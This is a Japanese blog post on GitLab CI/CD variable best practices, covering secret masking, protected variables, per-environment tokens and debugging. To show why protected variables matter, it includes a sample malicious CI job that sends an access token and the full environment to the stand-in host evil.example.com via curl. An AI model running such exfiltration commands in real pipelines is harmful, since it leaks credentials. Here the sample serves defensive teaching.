GitLab CI/CD Variables [前編]では、主にGitLab CI/CD Variables の使い方・設定方法をたくさん紹介しました。この後編では、CI/CD Variablesを活用する上でのベストプラクティスを紹介します。
- CI/CD Variablesベストプラクティス
- CI/CD変数のデバッグ
- 最後に
CI/CD Variablesベストプラクティス
なるべく.gitlab-ci.yml
ファイルでCI/CD変数を設定します
CI/CD変数はなるべく.gitlab-ci.yml
ファイルで設定するようにします。特に理由がない限り、プロジェクトのCI/CD変数のような開発者(Developer
ロール)がすぐには値を確認できないCI/CD変数の利用は避けてください。
JavaのビルドツールのGradleの出力を抑止する設定GRADLE_OPTS=-Dorg.gradle.logging.level=quiet
をCI/CD変数に設定するとします。これは、プロジェクト(ないしはグループ)のCI/CD変数でも.gitlab-ci.yml
ファイルのどちらに設定しても動作に違いはありません。
次の例では、プロジェクトのCI/CD変数に設定しています。
プロジェクトのCI/CD変数に設定した例
build:
stage: build
script:
- ./gradlew jar
開発チームの開発者の多くはDeveloper
ロールであり、プロジェクトのCI/CD変数にアクセスすることができません。CI/CD変数GRADLE_OPTS
が設定されているのがわからず、Gradleタスクのログがなぜ出力されないのか混乱するでしょう。もし、CIジョブが失敗したら、そのデバッグは困難となります。
プロジェクトのCI/CD変数に設定するのではなく、開発者にもわかりやすいように.gitlab-ci.yml
ファイルで設定してください。
variables:
GRADLE_OPTS: -Dorg.gradle.logging.level=quiet
build:
stage: build
script:
- ./gradlew jar
例外的に、アクセストークンなどの秘匿情報を.gitlab-ci.yml
ファイルには記述してはいけません。漏洩の可能性が高まります。
どうしてもプロジェクトやグループのCI/CD変数を利用する場合、CIジョブのログにその値を出力し、開発者にも値がわかるようにします。
build:
stage: build
script:
# GRADLE_OPTS CI/CD変数の内容を表示し、開発者にもわかるようにします
- echo "GRADLE_OPTS=${GRADLE_OPTS}"
- ./gradlew jar
RunnerやGitLabインスタンスへのCI/CD変数の設定を避けます
RunnerやGitLabインスタンスのCI/CD変数の過度な利用は避けます。GitLabの利用者はこれらのCI/CD変数が設定されているかすらわかりません。過度に利用すると利用者が混乱するでしょう。
GitLab CI/CD Variables [前編]のRunnerのCI/CD変数ではRunnerのCI/CD変数の設定例として次のHTTPプロキシの設定を例に挙げました。
[[runners]]
name = "984d91d334c9"
environment = ["http_proxy=http://proxy.example.jp:8080","https_proxy=http://proxy.example.jp:8080","no_proxy=localhost,127.0.0.1"]
開発者はHTTPプロキシを意識せずにCIジョブを記述できるので大変便利です。しかし、開発者がHTTPプロキシが利用されていることに気が付きにくく、HTTPプロキシが原因でCIジョブが失敗すると、その原因追求は困難となります。
利用者への混乱を避けるため、RunnerやGitLabインスタンスのCI/CD変数を設定するのはなるべく避けてください。
必要があってRunnerやGitLabインスタンスのCI/CD変数を設定する場合、RunnerやGitLabインスタンスの仕様をドキュメント化し、利用者がすぐにアクセスできるようにしてください。例えばGitLab.comではSaaS版Runnerの仕様をドキュメント化し、公開しています。
また、RunnerやGitLabインスタンスのCI/CD変数の修正は、利用者への影響を十分に考えて行ってください。その修正で動作しなくなるCIジョブがあるでしょう。利用者からすると、何もしていないのにCIジョブが壊れた状態になります。
複合プロジェクトの共通設定はextends:
を活用します
複数のアプリ(例えばJavaのサーバーサイドアプリとJavaScriptのフロントエンドアプリ)を一つのGitLabプロジェクトに同居させている複合プロジェクトの共通設定は、グローバルセクションのvariables:
よりもextends:
による継承を活用します。
## Javaプロジェクト
.java:
image: eclipse-temurin:17-jdk
before_script:
# java-appディレクトリにGradleプロジェクトがあります
- cd java-app
variables:
# Gradleデーモンの起動の抑止
GRADLE_OPTS: -Dorg.gradle.daemon=true
build:java:
extends: .java
script:
- ./gradlew jar
check:java:
extends: .java
script:
- ./gradlew check
## JavaScriptプロジェクト
.javascript:
image: node:16
variables:
# fetch関数を使えるように
NODE_OPTIONS: --experimental-fetch
before_script:
# javascript-appディレクトリにNode.jsプロジェクトがあります
- cd javascript
build:javascript:
extends: .javascript
script:
- npm run build
アクセストークンなどの秘匿情報を守る
クラウドサービスへのデプロイ用のアクセストークン(特に本番系用)などの秘匿情報が漏洩した場合の被害は甚大です。これは、ソースコードの漏洩と比ぶべくもありません。秘匿情報は開発チームのごく一部だけがアクセスできればよく、開発チームのほとんどのメンバーから隠す必要があります。
ここでは秘匿情報を守るためのベストプラクティスをまとめています。
アクセストークンの権限を絞る
漏洩したときの被害を最小限に食い止めるために、アクセストークンの権限を最小限に絞ります。
アクセストークンを漏洩から守ることは大変重要です。残念なことに、絶対に漏洩させないようにはできません。漏洩したときの被害を最小限に食い止める対策も同じくらい重要です。
アプリケーションAをステージングにデプロイする必要があるなら、それだけが可能なアクセストークンを作成し利用します。決して、アプリケーションBにもアプリケーションAの本番系にもデプロイ以外にも使えるアクセストークンを利用してはいけません。
書籍やインターネット上の資料の中には、フルアクセスにしたパーソナルアクセストークンなど、権限を絞っていないアクセストークンを作成する例を多く見かけます。そういった資料に書いてあるからとそのままにしないでください。
なお、アクセストークンの権限を絞る原則は、CI/CD変数によらず、アクセストークンを利用するどのような場合でも有効です。
アクセストークンを使い回さない
CI/CD変数に設定するために発行したアクセストークンを他で使い回さないでください。また、他のシステムで利用しているアクセストークンをCI/CD変数に設定するのは避けてください。
CI/CD変数にアクセストークンを設定するときに、適切な権限のアクセストークンを発行し、そのままCI/CD変数に設定します。
- 使いまわすためのアクセストークンは必要以上の権限を持つことが多いです。漏洩時のリスクが高くなります。
- 使いまわすためにアクセストークンがパソコンやクラウドストレージに保存されることになります。漏洩の確率が高くなります。
- アクセストークンをどこで使っているのかがわかりにくくなります。不要になったアクセストークンは取り消さなければなりませんが、CI/CD変数に設定されているアクセストークンを取り消したときにほかに影響が出るかもしれず、取り消しをためらいがちです。
この原則も、CI/CD変数によらず、アクセストークンを利用するどのような場合でも有効です。
秘匿情報はプロジェクトのCI/CD変数に設定します
秘匿情報はアクセスできる人の多い.gitlab-ci.yml
への設定を避け、必ずプロジェクトのCI/CD変数に設定します。
プロジェクトのCI/CD変数はOwner
ロールまたはMaintainer
ロールのユーザーしかアクセスできません。その他の開発チームのメンバー、はこの設定画面にアクセスして、CI/CD変数を読み取ることはできません。もちろん、開発チームのメンバーを安易にMaintainer
ロールにしないようにすることも大切です。
次の例では、デプロイ用のアクセストークンをプロジェクトのCI/CD変数に設定し、CIジョブのスクリプトでアクセストークンを利用してデプロイしています。
アクセストークンをプロジェクトのCI/CD変数に登録する例
deploy:
stage: deploy
script:
- ./ci/scripts/deploy.sh --token=${CLOUD_ACCESS_TOKEN}
しかし、プロジェクトのCI/CD変数に設定したとしても、これらの秘匿情報が漏洩しないわけではありません。より漏洩しにくくするために、次の設定を利用します。
- CI/CD変数をマスクする
- Protect variable化する
秘匿情報のCI/CD変数は必ずマスクします
秘匿情報のCI/CD変数はプロジェクトのCI/CD変数に設定した上で、必ずマスクします。秘匿情報がCIジョブにされる代わりに[MASKED]
と表示され、CIジョブのログからの漏洩を防ぎます。
プロジェクトCI/CD変数のマスク設定
CIジョブのログではマスクされる
本来であれば、秘匿情報を標準出力に出力するようなCIジョブのスクリプトを書いてはいけません。しかし、利用しているツールが勝手に出力するかもしれません。(開発ツールのデバッグモードを有効にすると環境変数すべてが出力されることがあります)また、開発者がついうっかりやってしまうこともあります。(環境変数の一覧が見たいからとenv
コマンドを実行させるなど)
マスクをすることで、このようなうっかりミスによる漏洩をある程度防ぐことができます。
Protected variable
で開発者から秘匿情報を隠します
秘匿情報はプロジェクトのCI/CD変数でProtected variable
に設定し、不要な開発者への漏洩を防ぎます。
プロジェクトのCI/CD変数は開発者(Developer
ロール)が直接見る手段はありません。ただし、悪意のある開発者が.gitlab-ci.yml
ファイルに次のように書くことで、値を奪取することができます。
evil1:
script:
# この方法はマスクされていると表示されません。
- echo ${CLOUD_ACCESS_TOKEN}
# 自身が管理しているサーバーにアクセストークンを送信する。
- curl "http://evil.example.com/$CLOUD_ACCESS_TOKEN"
# すべてのCI/CD変数を奪取することもできます。
- env | curl -X POST -d - http://evil.example.com
プロジェクトのCI/CD変数をProtected variable
に設定することで、この問題を軽減できます。Protected variable
に設定されたCI/CD変数は、Developer
ロールではプッシュできない保護されたブランチ(一般的にはmain
もしくはmaster
)や保護されたタグでのCIジョブでのみ値が設定されます。
プロジェクトCI/CD変数の
Protected variable
設定
悪意のある開発者(Developer
ロール)が、CIジョブのスクリプトに例のような悪意のあるスクリプトを記述したとしても、保護されていないブランチやタグにしかプッシュできません。そのCIジョブではProtected variable
に設定されたCI/CD変数は使えません。開発者が秘匿情報を奪取することは困難になります。
ただし、この悪意のあるスクリプトが保護されたブランチにマージされた場合はこの限りではありません。マージをする前に、必ずコードをレビューし、安全なことを確認してください。
このとき、.gitlab-ci.yml
ファイルだけでなく、次のものもレビューが必要です。
- CIジョブで実行されるシェルスクリプトやビルドツールのスクリプトに不要な追加・変更がないか。
- 利用している開発ツールやライブラリが不要に追加されたり変更されていないか。
環境(GitLab Environment)ごとに異なるアクセストークンを利用する
アクセストークンの権限を絞るため、本番環境とステージング環境やReview apps環境へのデプロイはそれぞれ権限を絞った別々のアクセストークンを利用します。
仮にステージング環境のアクセストークンが漏洩しても、本番環境には影響がありません。(ステージング環境のアクセストークンが漏洩している場合は本番環境のそれも漏洩している可能性が高いのですが、運良く助かることがあります)
プロジェクトのCI/CD変数の環境ごとに値を設定する機能を利用して、本番系とステージング系で異なるアクセストークンを設定します。
プロジェクトCI/CD変数の
Environment scope
設定
production:
stage: deploy
script:
- ./ci/scripts/deploy.sh --token=${CLOUD_ACCESS_TOKEN}
environment:
# CI/CD変数のEnvironment scopeとこの環境名が一致したものだけが利用できる
name: production
staging:
stage: deploy
script:
- ./ci/scripts/deploy.sh --token=${CLOUD_ACCESS_TOKEN}
environment:
name: staging
なお、本番系やステージング系へのデプロイ用のアクセストークンは必ずProtected variableに設定します。
Review apps用のアクセストークンは保護されていないブランチで利用するものですので、Protected variableを外してください。Review apps用のアクセストークンは必然的に開発者に知られやすくなります。
外部シークレットサービスの利用を検討する
秘匿情報をプロジェクトのCI/CD変数に設定する代わりに、外部のシークレットサービスの利用を検討します。
GitLabはVault by HasiCropに対応しています。
ただし、この機能はPremiumプラン以上が必要です。詳しくは公式ドキュメントのhttps://docs.gitlab.com/ee/ci/secrets/index.html#use-vault-secrets-in-a-ci-jobをご覧ください。
CI_JOB_JWT_V2
を利用したクラウドサービスへのデプロイを検討します
AWS / Azure / Google Cloudでは、プロジェクトのCI/CD変数の代わりにCIジョブの実行ごとに発行されるCI_JOB_JWT_V2
トークンを利用したクラウドサービスへのアクセスの利用を検討します。
クラウドサービスのアクセストークンの有効期限は一般的に長めです。短く設定している開発チームでもせいぜい数ヶ月ではないでしょうか?アクセストークンが漏洩したときの被害も長期に渡ります。
CI_JOB_JWT_V2
トークンの有効期限はCIジョブのタイムアウト値と同じ一時間(デフォルト値)と非常に短く、漏洩したときのリスクを軽減できます。
CI_JOB_JWT_V2
トークンは次のクラウドサービスに対応しています。
この機能は、CI_JOB_JWT_V2
トークンの妥当性を検査するために、各クラウドサービスからGitLabのインスタンスへアクセスします。ファイヤーウォールなどでGitLabの接続元を制限している場合や、社内ネットワークに配置したGitLabでは利用できません。
サプライチェーン攻撃
ターゲットを直接狙うのではなく、セキュリティ対策の弱そうな提携先の企業のネットワークへ侵入し、そこを足がかりにしてターゲットに攻撃をすることをサプライチェーン攻撃と呼びます。アプリケーション本体を直接ではなく、それが利用しているライブラリ・フレームワーク・開発ツールなどに侵入し、そこを足がかりにしてアプリケーションを攻撃することも含みます。後者はソフトウェアサプライチェーン攻撃と呼ばれることもあります。
2021年に発生したソフトウェアサプライチェーン攻撃の、メルカリがコードカバレッジツール「Codecov」への不正アクセスにより、一部の顧客情報が漏洩した件をご存知の方も多いのではないでしょうか?この際、メルカリだけでなく、たくさんのサービスが影響を受けています。
近年、このDevOps環境を狙ったソフトウェアサプライチェーン攻撃が増加しているとの報告があります。この攻撃が成立すると、最悪の場合、CI/CD変数に含まれる秘匿情報が漏洩し、悪用されかねません。
残念ながらこのソフトウェアサプライチェーン攻撃を完全に防ぐことは困難です。原理的には、アプリケーションで利用しているサードパーティの開発ツールやライブラリやサービスなどを常時詳細にレビューすれば防げます。しかし、実際には途方もない時間と人数が必要なため、実現可能ではありません。
GitLabでは、公式ドキュメントHow a DevOps Platform helps protect against supply chain attacksにて、GitLabを活用したソフトウェアサプライチェーン攻撃への対策方法を紹介しています。
環境(GitLab Environment)ごとにCI/CD変数の値を切り替えるは.gitlab-ci.yml
ファイルで
環境(GitLab Environment)ごとにCI/CD変数の値を変えるのはプロジェクトのCI/CD変数に設定するのが簡単ですが、秘匿情報を除き、.gitlab-ci.yml
ファイルに記述します。
本番環境やステージング環境ではリリースビルドを利用するけど、Review appsではデバッグビルドを利用するようなことはよくあります。
次の例では、プロジェクトのCI/CD変数を利用して、メインブランチにマージされたときにはリリースビルドをして本番環境へデプロイを、Review appsへはデバッグビルドでデプロイをするようにしています。
環境ごとのプロジェクトCI/CD変数の例
.deploy:
stage: deploy
script:
# .NETアプリをReleaseもしくはDebugビルドします
- dotnet publish --output ./dist --configuration ${CONFIGURATION}
- ./ci/deploy.sh ./dist ${DEPLOY_TARGET}
production:
extends: .deploy
environment:
name: production
when: manual
rules:
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
staging:
extends: .deploy
environment:
name: staging
when: manual
rules:
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
review:
extends: .deploy
environment:
name: review/$CI_COMMIT_REF_SLUG
rules:
- if: $CI_PIPELINE_SOURCE == "merge_request_event"
多くの開発者はプロジェクトのCI/CD変数にアクセスできないため、どちらがリリースビルドでどちらがデバッグビルドなのかを知ることは困難です。もし、間違えて本番系でデバッグビルドが行われているように設定されていても、開発者がそれに気がつくことは難しいでしょう。
秘匿情報以外は.gitlab-ci.yml
ファイルに書くようにしてください。
次のように、.gitlab-ci.yml
に記述するようにします。
.deploy:
stage: deploy
script:
- dotnet publish --output ./dist --configuration ${CONFIGURATION}
- ./ci/deploy.sh ./dist ${DEPLOY_TARGET}
production:
extends: .deploy
variables:
CONFIGURATION: Release
DEPLOY_TARGET: production
environment:
name: production
when: manual
rules:
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
staging:
extends: .deploy
variables:
CONFIGURATION: Release
DEPLOY_TARGET: staging
environment:
name: staging
when: manual
rules:
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
review:
extends: .deploy
variables:
CONFIGURATION: Debug
DEPLOY_TARGET: $CI_COMMIT_REF_SLUG
environment:
name: review/$CI_COMMIT_REF_SLUG
rules:
- if: $CI_PIPELINE_SOURCE == "merge_request_event"
例外的に、秘匿情報と強く関連する情報は秘匿情報でなくてもプロジェクトのCI/CD変数に設定したほうがよいでしょう。
例えば、Azureのログインに必要なアプリケーションID・パスワード・テナントIDの三つの値がそれにあたります。この中で秘匿情報はパスワードだけですが、この三つは強い関連があるため、プロジェクトのCI/CD変数にまとめて設定します。
Azureのログイン資格情報の設定例
.deploy:
stage: deploy
before_script:
# AZURE_APP_ID / AZURE_APP_PASSWORD / AZURE_TENANT_IDは
# production / Review appsで切り替えています。
- echo "AZURE_APP_ID=${AZURE_APP_ID}" "AZURE_TENANT_ID=${AZURE_TENANT_ID}"
- az login --service-principal -u ${AZURE_APP_ID} -p ${AZURE_APP_PASSWORD} --tenant ${AZURE_TENANT_ID}
script:
- ./ci/scripts/deploy
production:
extends: .deploy
environment:
name: production
when: manual
rules:
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
staging:
extends: .deploy
environment:
name: staging
when: manual
rules:
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
review:
extends: .deploy
environment:
name: review/$CI_COMMIT_REF_SLUG
rules:
- if: $CI_PIPELINE_SOURCE == "merge_request_event"
例では、az login
でログインするユーザーIDやテナントIDをCIジョブのログに表示することで、どのAzure環境にログインしているかが開発者にもわかるよう配慮しています。
認証用証明書ファイルやライセンスファイルはプロジェクトのCI/CD変数で
認証用証明書ファイルやライセンスファイルなどのテキストファイルをCI/CD変数に設定するときは、プロジェクトのCI/CD変数でタイプ
設定をFile
にします。
次の例では、Azureへのログインで利用できる証明書ファイル(pem)を設定しています。
プロジェクトCI/CD変数にファイルを設定
タイプ
はデフォルトでVariable
ですが、File
に変更すると、CI/CD変数には値が保存されたファイルへのパスが設定されます。
deploy:
before_script:
# 変数AZURE_PASSWORD_CERTIFICATEには証明書ファイルへのパスが設定されている。
- echo "AZURE_APP_ID=${AZURE_APP_ID}" "AZURE_TENANT_ID=${AZURE_TENANT_ID}"
- az login --service-principal --username ${AZURE_APP_ID} --tenant ${AZURE_TENANT_ID} --password ${AZURE_PASSWORD_CERTIFICATE}
script:
- echo run deploy.
rules:
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
ただし、この機能はバイナリファイルには対応していません。iOSアプリの署名に使うpkcs12ファイルなどのバイナリファイルを設定したいこともあるでしょう。これらのファイルはbase64エンコードをした上でプロジェクトのCI/CD変数に設定し、CIジョブのスクリプトでデコードして利用する必要があります。
現在、バイナリファイルを直接扱える新機能のSecure Filesが開発中です。仕様が変更されることが予測されるため、今はおすすめできませんが、将来的にはバイナリファイルも簡単に扱えるようになります。
CI/CD変数のデバッグ
複雑な.gitlab-ci.yml
ファイルを記述すると、CI/CD変数がどのような値になっているかわかりにくくなります。CIジョブの処理にexport
を追加すると、全環境変数がCIジョブのログに表示されます。
build:
script:
- export # この行を追加する。
- echo run build
事前に、CI/CD変数に設定したすべての秘匿情報がマスクされていることを確認してください。
他にもCI/CD変数CI_DEBUG_TRACE
を有効にして、CIジョブのデバッグをする方法があります。
build:
variables:
CI_DEBUG_TRACE: "true"
.gitlab-ci.yml
ファイルの修正を避けたい場合は、パイプラインの手動実行でCI_DEBUG_TRACE
を有効にします。
デバッグを有効にしてCIパイプラインを実行する
最後に
CI/CD変数の設定方法は様々です。それぞれにメリットデメリットがあります。なんとなくで利用していると、CIジョブがうまく動作しないときのデバッグが大変になります。CI/CD変数を設定した本人はまだしも、他の開発者(特にDeveloper
ロール)には大変な作業となるでしょう。
定期的に時間をさいて、CI/CD変数やCIジョブの見直しを行い、メンテナンスしやすいように維持してください。
特に、クラウドサービスのアクセストークン・認証用証明書・パスワードなどの秘匿情報を利用する場合は十分に気をつけてください。